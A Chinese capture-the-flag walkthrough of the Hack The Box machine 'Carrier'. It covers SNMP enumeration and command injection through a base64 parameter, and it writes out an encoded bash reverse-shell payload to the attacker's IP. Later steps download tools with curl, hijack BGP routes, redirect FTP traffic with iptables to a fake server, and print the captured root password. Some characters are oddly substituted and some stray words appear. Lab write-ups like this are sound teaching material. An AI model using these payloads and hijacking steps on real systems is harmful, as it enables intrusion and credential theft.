【HTB靶场系列】靶机Carrier的渗透测试

出品|MS08067实验室(www.ms08067.com)python

本文做者:大方子(Ms08067实验室核心成员)git

Hack The Box是一个CTF挑战靶机平台,在线渗透测试平台。它能帮助你提高渗透测试技能和黑盒测试技能,它包含了一些不断更新的挑战,其中有模拟真实世界场景,也有倾向于CTF风格的挑战。
https://www.hackthebox.eu/github

平台上有不少靶机,从易到难,黑客每入侵一台机器都会得到相应积分,经过积分排名设有名人堂。今天要实验的是靶机Carrier。shell

目标靶机IP:10.10.10.105
本机IP:10.10.13.133
首先利用Nmap对目标靶机进行信息收集安全

nmap -sC -F -sV 10.10.10.105

-sC:经过默认脚本进行扫描
-sV:扫描目标主机端口上运行软件的版本
-F:扫描100个最有可能开放的端口bash

显示靶机开放了21,22,80,3306端口,可是21,3306端口被过滤了。22端口是SSH须要登录,咱们先从80端口开始看看能不能获得有用的信息
先打开网页,是一个登录页面,有2个Error提示45007,45009,去Google查询相似的关键词发现没有什么可用信息,应该是自定义的WEB框架,服务器

咱们用gobuster来进行目录爆破微信

gobuster  -u http://10.10.10.105 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -q

先看下tools
/tools:网络

点进去显示“许可过时,正在退出”
看下doc
/doc:架构

一个网络架构图还有一个是错误代码描述的PDF,根据刚刚网页提示的错误代码咱们查下对应的解释
Error 4005:守护进程没有响应
Error 4009:配置中没有设置默认的用户名和密码(查看机箱序列号)

看下/debug

没有什么特别有用的信息
根据那种图可能还有别的设备,这样我想起了snmp服务
因此咱们扫下靶机UDP的端口看看有没有什么有用的信息

nmap -sU 10.10.10.105

果真目标机器是有开启snmp,那么咱们用snmpwalk来进行弱口令利用

snmpwalk -v 1 -c public 10.10.10.105

这个NET_45JDX23可能就是所谓的序列号
咱们回到登录进行登录。
Username:尝试常见的默认用户名:admin, root
Password: NET_45JDX23

页面显示咱们的凭证是无效的

咱们进入Tickets

经过这条信息 咱们知道了3个网段(大概就是刚刚那个网络架构图),还有一个FTP:10.120.15.0/24

而后咱们在点Diagnosticd,提示咱们凭证无效,可是能够使用检查功能
点下Verify status

这个部分很像是远程命令执行。

咱们用BURP抓包看下信息

Check用base64转换下

很明显这个quagga就是上面输出信息的一部分,查找相关资料,发现这是一款路由器软件

那么咱们设置对check这个参数进行攻击,咱们把root的base64编码写进去

返回信息以下

那么咱们在试着输入 root;echo hello

如图发现咱们是能够用;进行多语句的执行,那么咱们用bash反弹一个shell
如今用kali监听下9001

而后转换下编码

这里输出cm9vdDtiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjEzLjEzMy85MDAxIDA+JjE=

须要注意的是须要把里面的+和=进入URL编码转换才行要否则会出错

这样咱们就获得一个shell了

这样咱们就能够获得user的flag了

接下来就是得到根ROOT的权限

从以前的信息咱们了解到有一台FTP服务器:10.120.15.0/24
咱们试着ping 10.120.15.1看看能不能ping通

咱们须要在靶机上进行扫描,固然你能够用msf添加路由的方式扫描,这里我用另外一个种方法把nmap的二进制静态执行文件上传到靶机进行扫描

Github:https://github.com/andrew-d/static-binaries

而后咱们用python的SimpleHTTPServer模块创建服务而后靶机去下载这个文件

而后再靶机分别输入以下命令

curl http://10.10.13.133:8000/nmap -o nmap  
chmod +x nmap

而后咱们执行

./nmap -p 21 10.120.15.0/24

发现没有探测到,多是目标禁止ICMP数据包

那么咱们加个-Pn参数,同时把结果导出

./nmap -Pn -vvv -p 21 10.120.15.0/24  --open

-Pn:不进行ping直接扫描
-vvv:显示详细过程
--open:只显示端口open状态信息

咱们发现 10.120.15.10是开放21端口的

而后咱们尝试下FTP匿名登录,登录的时候可能不会有回显,须要本身打

没法执行,以前那个ticks也说这个FTP出现了问题。

咱们须要经过劫持BGP欺骗AS200将数据传输给咱们的靶机,而后开启假的FTP服务,以前的信息有显示到有人会按期访问这个FTP,这样咱们就能够窃取到凭证

如今的状况大概就是图上这个样子

咱们在终端分别输入

vtysh  (quagga的命令)  
configure terminal(进入配置模式)  
do show run (显示配置信息)

咱们须要增长一个network就是把刚刚FTP的那个网段加进来

这里我直接编辑/etc/ quagga下的bgpd.conf文件内容也就上面显示的内容

咱们在本身的kali上编辑下内容在里面加一条10.120.15.0/25

而后用python的SimpleHTTPServer服务上传到靶机里面去跟nmap同样
把以前的文件重命名,而后把咱们的文件下载下来

curl http://10.10.13.133:8000/bgpd.conf -o bgpd.con

而后在iptales上添加记录并重启quagga服务

iptables -t nat -A PREROUTING -p tcp --dport 21 -j DNAT --to-destination 10.10.14.65:21   
iptables -t nat -A POSTROUTING -j MASQUERADE 
service quagga restart

而后咱们在下载一个假的ftp监听21端口来获得凭证
Github:https://github.com/b1ngda0/FtpServicePython/

不久后就能获得帐号密码
root:BGPtelc0rout1ng
而后ssh登录并获得root flag

转载请联系做者并注明出处!

Ms08067安全实验室专一于网络安全知识的普及和培训。团队已出版《Web安全攻防:渗透测试实战指南》,《内网安全攻防:渗透测试实战指南》,《Python安全攻防:渗透测试实战指南》,《Java代码安全审计(入门篇)》等书籍。
团队公众号按期分享关于CTF靶场、内网渗透、APT方面技术干货,从零开始、以实战落地为主,致力于作一个实用的干货分享型公众号。
官方网站:https://www.ms08067.com/

扫描下方二维码加入实验室VIP社区
加入后邀请加入内部VIP群,内部微信群永久有效!

相关文章
相关标签/搜索